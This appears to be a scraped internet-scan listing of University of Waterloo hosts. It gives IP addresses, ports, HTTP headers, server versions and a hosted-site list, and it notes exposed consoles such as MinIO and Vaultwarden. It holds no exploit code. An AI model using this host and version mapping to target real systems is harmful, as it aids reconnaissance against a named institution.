<p class="lead textblock"><b>in one of Canada's <a href="https://www.cbc.ca/news/canada/kitchener-waterloo/waterloo-region-growth-statistics-canada-1.5464828">fastest growing</a> and <a href="https://www.cbc.ca/news/canada/kitchener-waterloo/justin-trudeau-google-canada-1.3403297">most innovative</a> cities.</b>
The Software REBELs are a part of the <a href="https://cs.uwaterloo.ca/">Cheriton School of Computer Science</a> and are funded by the <a href="https://uwaterloo.ca/math/">Faculty of Math</a>, the <a href="http://nserc-crsng.gc.ca/">Natural Sciences and Engineering Research Council of Canada (NSERC)</a>, <a href="https://www.mitacs.ca/">Mitacs</a>, and our industrial partners at <a href="https://www.ubisoft.com/en-us/studio/laforge">Ubisoft</a>, <a href="https://www.dellemc.com/">Dell EMC</a>, <a href="https://yourbase.io/">YourBase</a>, and <a href="https://www.shopify.com/">Shopify</a>.</p>
</div>
<hr class="featurette-divider">
<!-- Third Featurette -->
<div class="featurette" id="about">
<img class="featurette-image img-responsive pull-right" src="/photos/unclesam.png" width=400px border=2px>
<h2 class="feature
Open service 129.97.167.168:80 · rboutaba.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://rboutaba.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · crysp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://crysp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · www.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) location: https://cs.uwaterloo.ca/ content-length: 318 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at www.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · cgl.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cgl.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · www.student.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.52 (Ubuntu) location: https://student.cs.uwaterloo.ca/ content-length: 334 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: student.cs.uwaterloo.ca_haproxy_cookie=student.cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://student.cs.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at www.student.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · student.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.52 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://cs.uwaterloo.ca/cscf content-length: 326 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: student.cs.uwaterloo.ca_haproxy_cookie=student.cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/cscf">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at student.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · haproxy-2404.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 404 Not Found
cache-control: no-cache
content-type: text/html
retry-after: 60
strict-transport-security: max-age=16000000; preload;
connection: close
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<p style="text-align:center;">
This web server hosts a number of sites for the School of Computer Science.
<p style="text-align:center;">
If you need assistance or to report a problem, please contact the CSCF Help Desk at cscf@uwaterloo.ca<mailto:cscf@uwaterloo.ca>.
<p style="text-align:center;">
Here is a list of the sites hosted here:
<br>
<a href="https://algcomp.uwaterloo.ca">algcomp.uwaterloo.ca</a> <br>
<a href="https://andromeda-proxy.cs.uwaterloo.ca">andromeda-proxy.cs.uwaterloo.ca</a> <br>
<a href="https://booked.cs.uwaterloo.ca">booked.cs.uwaterloo.ca</a> <br>
<a href="https://cfm.uwaterloo.ca">cfm.uwaterloo.ca</a> <br>
<a href="https://cgl.uwaterloo.ca">cgl.uwaterloo.ca</a> <br>
<a href="https://charisma2010.uwaterloo.ca">charisma2010.uwaterloo.ca</a> <br>
<a href="https://chil.uwaterloo.ca">chil.uwaterloo.ca</a> <br>
<a href="https://compstats.uwaterloo.ca">compstats.uwaterloo.ca</a> <br>
<a href="https://cpi.uwaterloo.ca">cpi.uwaterloo.ca</a> <br>
<a href="https://crysp.uwaterloo.ca">crysp.uwaterloo.ca</a> <br>
<a href="https://cs.uwaterloo.ca">cs.uwaterloo.ca</a> <br>
<a href="https://cswiki.uwaterloo.ca">cswiki.uwaterloo.ca</a> <br>
<a href="https://dsg.uwaterloo.ca">dsg.uwaterloo.ca</a> <br>
<a href="https://epad.uwaterloo.ca">epad.uwaterloo.ca</a> <br>
<a href="https://exii.cs.uwaterloo.ca">exii.cs.uwaterloo.ca</a> <br>
<a href="https://geometricalgebra.org">geometricalgebra.org</a> <br>
<a href="https://grec.cs.uwaterloo.ca">grec.cs.uwaterloo.ca</a> <br>
<a href="https://hi.uwaterloo.ca">hi.uwaterloo.ca</a> <br>
<a href="https://icr.uwaterloo.ca">icr.uwaterloo.ca</a> <br>
<a href="https://icse2019.cs.uwaterloo.ca">icse2019.cs.uwaterloo.ca</a> <br>
<a href="https://inventory.math.uwaterloo.ca">inventory.math.uwaterloo.ca</a> <br>
<a href="https://mc.uwaterloo.ca">mc.uwaterloo.ca</a> <br>
<a href="https://neurocog.uwaterloo.ca">neurocog.uwaterloo.ca</a> <br>
<a href="https://nextcloud.cs.uwaterloo.ca">nextcloud.cs.uwaterloo.ca</a> <br>
<a href="https://qc.uwaterloo.ca">qc.uwaterloo.ca</a> <br>
<a href="https://rboutaba.cs.uwaterloo.ca">rboutaba.cs.uwaterloo.ca</a> <br>
<a href="https://rebels.cs.uwaterloo.ca">rebels.cs.uwaterloo.ca</a> <br>
<a href="https://rgw.cs.uwaterloo.ca">rgw.cs.uwaterloo.ca</a> <br>
<a href="https://ripple.uwaterloo.ca">ripple.uwaterloo.ca</a> <br>
<a href="https://scicom.uwaterloo.ca">scicom.uwaterloo.ca</a> <br>
<a href="https://se.uwaterloo.ca">se.uwaterloo.ca</a> <br>
<a href="https://softeng.uwaterloo.ca">softeng.uwaterloo.ca</a> <br>
<a href="https://staging-crysp.uwaterloo.ca">staging-crysp.uwaterloo.ca</a> <br>
<a href="https://student.cs.uwaterloo.ca">student.cs.uwaterloo.ca</a> <br>
<a href="https://uclp.uwaterloo.ca">uclp.uwaterloo.ca</a> <br>
<a href="https://upscope.uwaterloo.ca">upscope.uwaterloo.ca</a> <br>
<a href="https://userver.uwaterloo.ca">userver.uwaterloo.ca</a> <br>
<a href="https://vision.cs.uwaterloo.ca">vision.cs.uwaterloo.ca</a> <br>
<a href="https://vpn.cs.uwaterloo.ca">vpn.cs.uwaterloo.ca</a> <br>
<a href="https://wasl.uwaterloo.ca">wasl.uwaterloo.ca</a> <br>
<a href="https://watform.uwaterloo.ca">watform.uwaterloo.ca</a> <br>
<a href="https://www.cs.uwaterloo.ca">www.cs.uwaterloo.ca</a> <br>
<a href="https://www.scg.uwaterloo.ca">www.scg.uwaterloo.ca</a> <br>
<a href="https://www.swag.uwaterloo.ca">www.swag.uwaterloo.ca</a> <br>
<a href="https://wwwtest.student.cs.uwaterloo.ca">wwwtest.student.cs.uwaterloo.ca</a> <br>
</p>
</body>
<html>
Open service 129.97.167.168:80 · student.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://student.cs.uwaterloo.ca/ connection: close
Open service 129.97.92.155:443 · minio-eet-console.esg.uwaterloo.ca
2026-01-22 18:32
HTTP/1.1 200 OK accept-ranges: bytes content-length: 1310 content-security-policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; content-type: text/html last-modified: Thu, 22 Jan 2026 18:32:42 GMT referrer-policy: strict-origin-when-cross-origin server: MinIO Console x-content-type-options: nosniff x-frame-options: DENY x-xss-protection: 1; mode=block date: Thu, 22 Jan 2026 18:32:42 GMT connection: close Page title: MinIO Console <!doctype html><html lang="en"><head><meta charset="utf-8"/><base href="/"/><meta content="width=device-width,initial-scale=1" name="viewport"/><meta content="#081C42" media="(prefers-color-scheme: light)" name="theme-color"/><meta content="#081C42" media="(prefers-color-scheme: dark)" name="theme-color"/><meta content="MinIO Console" name="description"/><meta name="minio-license" content="agpl" /><link href="./styles/root-styles.css" rel="stylesheet"/><link href="./apple-icon-180x180.png" rel="apple-touch-icon" sizes="180x180"/><link href="./favicon-32x32.png" rel="icon" sizes="32x32" type="image/png"/><link href="./favicon-96x96.png" rel="icon" sizes="96x96" type="image/png"/><link href="./favicon-16x16.png" rel="icon" sizes="16x16" type="image/png"/><link href="./manifest.json" rel="manifest"/><link color="#3a4e54" href="./safari-pinned-tab.svg" rel="mask-icon"/><title>MinIO Console</title><script defer="defer" src="./static/js/main.ca712c1a.js"></script><link href="./static/css/main.e60e4760.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"><div id="preload"><img src="./images/background.svg"/> <img src="./images/background-wave-orig2.svg"/></div><div id="loader-block"><img src="./Loader.svg"/></div></div></body></html>
Open service 129.97.92.155:80 · minio-eet-console.esg.uwaterloo.ca
2026-01-22 18:32
HTTP/1.1 302 Found content-length: 0 location: https://minio-eet-console.esg.uwaterloo.ca/ cache-control: no-cache connection: close
Open service 129.97.92.155:80 · minio-console.esg.uwaterloo.ca
2026-01-22 18:32
HTTP/1.1 302 Found content-length: 0 location: https://minio-console.esg.uwaterloo.ca/ cache-control: no-cache connection: close
Open service 129.97.92.155:443 · minio-console.esg.uwaterloo.ca
2026-01-22 18:32
HTTP/1.1 200 OK accept-ranges: bytes content-length: 1310 content-security-policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; content-type: text/html last-modified: Thu, 22 Jan 2026 18:32:42 GMT referrer-policy: strict-origin-when-cross-origin server: MinIO Console x-content-type-options: nosniff x-frame-options: DENY x-xss-protection: 1; mode=block date: Thu, 22 Jan 2026 18:32:42 GMT connection: close Page title: MinIO Console <!doctype html><html lang="en"><head><meta charset="utf-8"/><base href="/"/><meta content="width=device-width,initial-scale=1" name="viewport"/><meta content="#081C42" media="(prefers-color-scheme: light)" name="theme-color"/><meta content="#081C42" media="(prefers-color-scheme: dark)" name="theme-color"/><meta content="MinIO Console" name="description"/><meta name="minio-license" content="agpl" /><link href="./styles/root-styles.css" rel="stylesheet"/><link href="./apple-icon-180x180.png" rel="apple-touch-icon" sizes="180x180"/><link href="./favicon-32x32.png" rel="icon" sizes="32x32" type="image/png"/><link href="./favicon-96x96.png" rel="icon" sizes="96x96" type="image/png"/><link href="./favicon-16x16.png" rel="icon" sizes="16x16" type="image/png"/><link href="./manifest.json" rel="manifest"/><link color="#3a4e54" href="./safari-pinned-tab.svg" rel="mask-icon"/><title>MinIO Console</title><script defer="defer" src="./static/js/main.ca712c1a.js"></script><link href="./static/css/main.e60e4760.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"><div id="preload"><img src="./images/background.svg"/> <img src="./images/background-wave-orig2.svg"/></div><div id="loader-block"><img src="./Loader.svg"/></div></div></body></html>
Open service 129.97.222.96:80 · bernath.uwaterloo.ca
2026-01-22 17:44
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://bernath.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 17:45:08 GMT Content-Length: 0
Open service 129.97.222.96:443 · bernath.uwaterloo.ca
2026-01-22 17:44
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/bernath-lab Server: Caddy Date: Thu, 22 Jan 2026 17:44:39 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:443 · absent.uwaterloo.ca
2026-01-22 16:57
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://vif.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:57:52 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:80 · absent.uwaterloo.ca
2026-01-22 16:57
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://absent.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:58:21 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · absent.uwaterloo.ca
2026-01-22 16:57
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://absent.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:58:21 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · absent.uwaterloo.ca
2026-01-22 16:57
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://vif.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:57:52 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · vault.sci.uwaterloo.ca
2026-01-22 16:53
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://vault.sci.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:54:02 GMT Content-Length: 0
Open service 129.97.222.96:443 · vault.sci.uwaterloo.ca
2026-01-22 16:53
HTTP/1.1 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: public, max-age=600 Content-Length: 1347 Content-Security-Policy: default-src 'none'; font-src 'self'; manifest-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-ancestors 'self' chrome-extension://nngceckbapebfimnlniiiahkandclblb chrome-extension://jbkfoedolllekgbhcbcoahefnbanhhlh moz-extension://* ; img-src 'self' data: https://haveibeenpwned.com ; connect-src 'self' https://api.pwnedpasswords.com https://api.2fa.directory https://app.simplelogin.io/api/ https://app.addy.io/api/ https://api.fastmail.com/ https://api.forwardemail.net ; Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: same-origin Date: Thu, 22 Jan 2026 16:53:32 GMT Expires: Thu, 22 Jan 2026 17:03:32 GMT Permissions-Policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=() Referrer-Policy: same-origin Server: Rocket Via: 1.1 Caddy X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Robots-Tag: noindex, nofollow X-Xss-Protection: 0 Connection: close Page title: Vaultwarden Web <!doctype html><html class="theme_light"><head><meta charset="utf-8"/><meta name="viewport" content="width=1010"/><meta name="theme-color" content="#175DDC"/><title page-title>Vaultwarden Web</title><link rel="apple-touch-icon" sizes="180x180" href="images/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="images/favicon-32x32.png"/><link rel="icon" type="image/png" sizes="16x16" href="images/favicon-16x16.png"/><link rel="mask-icon" href="images/safari-pinned-tab.svg" color="#175DDC"/><link rel="manifest" href="cca56971e438d22818d6.json"/><script defer="defer" src="theme_head.4cb181fc19f2a308ba73.js"></script><link href="styles.21d804f738b1b7df84a2.css" rel="stylesheet"></head><body class="layout_frontend"><link rel="stylesheet" href="css/vaultwarden.css"/><app-root><div class="tw-p-8 tw-flex"><img class="new-logo-themed" alt="Vaultwarden"/><div class="spinner-container tw-justify-center"><i class="bwi bwi-spinner bwi-spin bwi-3x tw-text-muted" title="Loading" aria-hidden="true"></i></div></div></app-root><script defer="defer" src="app/polyfills.46638eb63c4af620055f.js"></script><script defer="defer" src="app/vendor.ae5e09e48144faa504d3.js"></script><script defer="defer" src="app/main.e6cdea516f91ca208db2.js"></script><script defer="defer" src="styles.31d6cfe0d16ae931b73c.js"></script></body></html>
Open service 129.97.179.11:443 · absence.uwaterloo.ca
2026-01-22 16:07
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://vif.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:07:56 GMT Content-Length: 0 Connection: close
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · absence.uwaterloo.ca
2026-01-22 16:07
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://absence.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:08:26 GMT Content-Length: 0
Open service 129.97.179.11:80 · absence.uwaterloo.ca
2026-01-22 16:07
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://absence.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:08:25 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · absence.uwaterloo.ca
2026-01-22 16:07
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://vif.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:07:56 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:80 · fast.uwaterloo.ca
2026-01-22 16:07
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://fast.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:08:01 GMT Content-Length: 0
Open service 129.97.179.11:443 · fast.uwaterloo.ca
2026-01-22 16:07
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 15071
Content-Type: text/html; charset=utf-8
Cross-Origin-Opener-Policy: same-origin
Date: Thu, 22 Jan 2026 16:07:32 GMT
Referrer-Policy: same-origin
Server: gunicorn
Strict-Transport-Security: max-age=31536000
Vary: Cookie
Via: 1.1 Caddy
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Connection: close
Page title: FAST Project List
<!DOCTYPE html>
<html lang="en" class="h-100">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Fast Project Listing Site">
<meta name="author" content="FAST">
<title>FAST Project List</title>
<!-- Bootstrap core CSS -->
<link rel="stylesheet" href="/static/bootstrap/bootstrap.min.760682f31998.css" />
<link rel="stylesheet" href="/static/style.68be6fdd6900.css?v2" />
</head>
<body class="">
<!-- Begin page content -->
<!--
<nav id="navbar" class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0 justify-content-start flex-basis-50">
<a class="navbar-brand col-sm-3 col-md-3 mr-0 flex-shrink-0 flex-grow-0 mw-100" href="/">
<img src="/static/images/logo-small.e410522d9370.png" width="30" height="30" class="d-inline-block align-top">
<span class="d-inline-block align-bottom lead">FAST Project Listing</span>
</a>
<div class="flex-grow-1"></div>
<div class="px-3" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item active">
<li class="nav-item">
<a class="nav-link" href="/about/">About</a>
</li>
</ul>
</div>
<form class="form-inline" action="/" method="get">
<div class="input-group input-group-sm mr-2">
<input type="search" class="form-control" placeholder="Search" aria-label="Project Search" aria-describedby="basic-addon2" value="" name="q">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="button">Search</button>
</div>
</div>
</form>
</nav>
-->
<header>
<!-- Fixed navbar -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="/">FAST Project Listing</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse"
aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item">
<a class="nav-link" href="/">List <span class="sr-only"></a>
</li>
<li class="nav-item">
<a class="nav-link" href="/about">About</a>
</li>
<li class="nav-item">
</li>
</ul>
<form class="form-inline mt-2 mt-md-0" action="/" method="get">
<input class="form-control form-control-sm mr-sm-2" type="text" placeholder="Search" aria-label="Search" value="" name="q">
<button class="btn btn-sm btn-outline-secondary my-2 my-sm-0" type="submit">Search</button>
</form>
</div>
</nav>
</header>
<main role="main" class="flex-shrink-0">
<div class="container">
<div class="position-relative mt-3">
<h3 class="text-center">Faculty & Academic-Support Software Team</h3>
<p class="text-center lead">Internal Software Development Community at the University of Waterloo</p>
<p class="text-center">Below is a non-exhaustive list of locally developed or maintained projects at the University of Waterloo.</p>
<p class="text-center">This list is independantly supported by FAST members to serve as a living catalogue of actively developed tools.</p>
<p class="text-center">For more information on FAST, see our <a href="/about/">About Page.</a></p>
<div class="d-flex justify-content-center">
</div>
</div>
<table class="table table-hover table-sm mt-3">
<thead>
<tr>
<th scope="col">Project Title</th>
<th scope="col">Tagline</th>
<th scope="col">Groups</th>
<th scope="col">Scope</th>
</tr>
</thead>
<tbody>
Open service 129.97.222.96:443 · doxey.uwaterloo.ca
2026-01-22 16:03
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/biology/profile/acdoxey Server: Caddy Date: Thu, 22 Jan 2026 16:03:40 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · doxey.uwaterloo.ca
2026-01-22 16:03
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://doxey.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:04:09 GMT Content-Length: 0
Open service 129.97.222.96:80 · testcreator.sci.uwaterloo.ca
2026-01-22 16:03
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://testcreator.sci.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:04:00 GMT Content-Length: 0
Open service 129.97.222.96:443 · testcreator.sci.uwaterloo.ca
2026-01-22 16:03
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://testcreator.sci.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 16:03:31 GMT Content-Length: 0 Connection: close
Open service 129.97.128.216:443 · esg.uwaterloo.ca
2026-01-22 15:07
HTTP/1.1 301 Moved Permanently Date: Thu, 22 Jan 2026 15:07:32 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/embedded-software-group/ Content-Length: 253 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/embedded-software-group/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · esg.uwaterloo.ca
2026-01-22 15:07
HTTP/1.1 301 Moved Permanently Date: Thu, 22 Jan 2026 15:07:51 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://esg.uwaterloo.ca/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://esg.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.222.96:80 · dschipper.uwaterloo.ca
2026-01-22 14:24
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://dschipper.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 14:25:13 GMT Content-Length: 0
Open service 129.97.222.96:443 · dschipper.uwaterloo.ca
2026-01-22 14:24
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/schipper-group Server: Caddy Date: Thu, 22 Jan 2026 14:24:44 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:443 · watlab.uwaterloo.ca
2026-01-22 14:14
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/watlab Server: Caddy Date: Thu, 22 Jan 2026 14:14:45 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · watlab.uwaterloo.ca
2026-01-22 14:14
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://watlab.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 14:15:15 GMT Content-Length: 0
Open service 129.97.222.96:443 · ingress-auth.sci.uwaterloo.ca
2026-01-22 04:54
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Cache-Control: no-store Location: https://ingress-auth.sci.uwaterloo.ca/login Pragma: no-cache Server: Caddy Set-Cookie: AUTHP_SESSION_ID=JApQWTTojqAP3cQxNEUszlwxFhczrK8E1Wwz; Domain=sci.uwaterloo.ca; Path=/; Secure; HttpOnly; Date: Thu, 22 Jan 2026 04:54:37 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · ingress-auth.sci.uwaterloo.ca
2026-01-22 04:54
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://ingress-auth.sci.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 04:55:06 GMT Content-Length: 0
Open service 129.97.134.33:443 · vert.csclub.uwaterloo.ca
2026-01-22 04:30
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 26277
Content-Type: text/html
Date: Thu, 22 Jan 2026 04:30:51 GMT
Etag: "69577a7a-66a5"
Last-Modified: Fri, 02 Jan 2026 07:57:46 GMT
Permissions-Policy: geolocation=(), microphone=(), camera=()
Referrer-Policy: strict-origin-when-cross-origin
Server: Caddy
Server: nginx/1.28.1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Connection: close
Page title: VERT.sh
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="icon" href="/favicon.png" />
<link rel="apple-touch-icon" href="/favicon.png" />
<link
rel="apple-touch-startup-image"
href="/lettermark.jpg"
/>
<meta name="mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta
name="apple-mobile-web-app-status-bar-style"
content="black-translucent"
/>
<link href="/_app/immutable/assets/Tooltip.D-QfNzbh.css" rel="stylesheet">
<link href="/_app/immutable/assets/0.CbWlcZGF.css" rel="stylesheet">
<link href="/_app/immutable/assets/2.DX5u0UKQ.css" rel="stylesheet">
<link rel="modulepreload" href="/_app/immutable/entry/start.C39csUjs.js">
<link rel="modulepreload" href="/_app/immutable/chunks/BaNi5uRe.js">
<link rel="modulepreload" href="/_app/immutable/chunks/CsecAXcZ.js">
<link rel="modulepreload" href="/_app/immutable/entry/app.OlgocTDe.js">
<link rel="modulepreload" href="/_app/immutable/chunks/D6V47Uba.js">
<link rel="modulepreload" href="/_app/immutable/chunks/NZTpNUN0.js">
<link rel="modulepreload" href="/_app/immutable/chunks/C2UtnCQ8.js">
<link rel="modulepreload" href="/_app/immutable/nodes/0.C4Bs5oK-.js">
<link rel="modulepreload" href="/_app/immutable/chunks/D2GcoohX.js">
<link rel="modulepreload" href="/_app/immutable/chunks/Zeq6siss.js">
<link rel="modulepreload" href="/_app/immutable/chunks/B31B2TNn.js">
<link rel="modulepreload" href="/_app/immutable/chunks/BvuVatmL.js">
<link rel="modulepreload" href="/_app/immutable/chunks/D3vZK1zW.js">
<link rel="modulepreload" href="/_app/immutable/chunks/BaSRLPcm.js">
<link rel="modulepreload" href="/_app/immutable/chunks/DtqAkMpl.js">
<link rel="modulepreload" href="/_app/immutable/chunks/8IvcqnO6.js">
<link rel="modulepreload" href="/_app/immutable/chunks/CnqCL8er.js">
<link rel="modulepreload" href="/_app/immutable/nodes/2.C43cnEaB.js">
<link rel="modulepreload" href="/_app/immutable/chunks/QzeaonLB.js"><!--12qhfyh--><meta name="theme-color" content="#F2ABEE"/> <meta name="title" content="VERT.sh — Free, fast, and awesome file converter"/> <meta name="description" content="With VERT, you can quickly convert any image, video, audio, and document file. No ads, no tracking, open source, and all processing (other than video) is done on your device."/> <meta property="og:url" content="https://vert.sh"/> <meta property="og:type" content="website"/> <meta property="og:title" content="VERT.sh — Free, fast, and awesome file converter"/> <meta property="og:description" content="With VERT, you can quickly convert any image, video, audio, and document file. No ads, no tracking, open source, and all processing (other than video) is done on your device."/> <meta property="og:image" content="/_app/immutable/assets/VERT_Feature.D5UIwpMt.webp"/> <meta name="twitter:card" content="summary_large_image"/> <meta 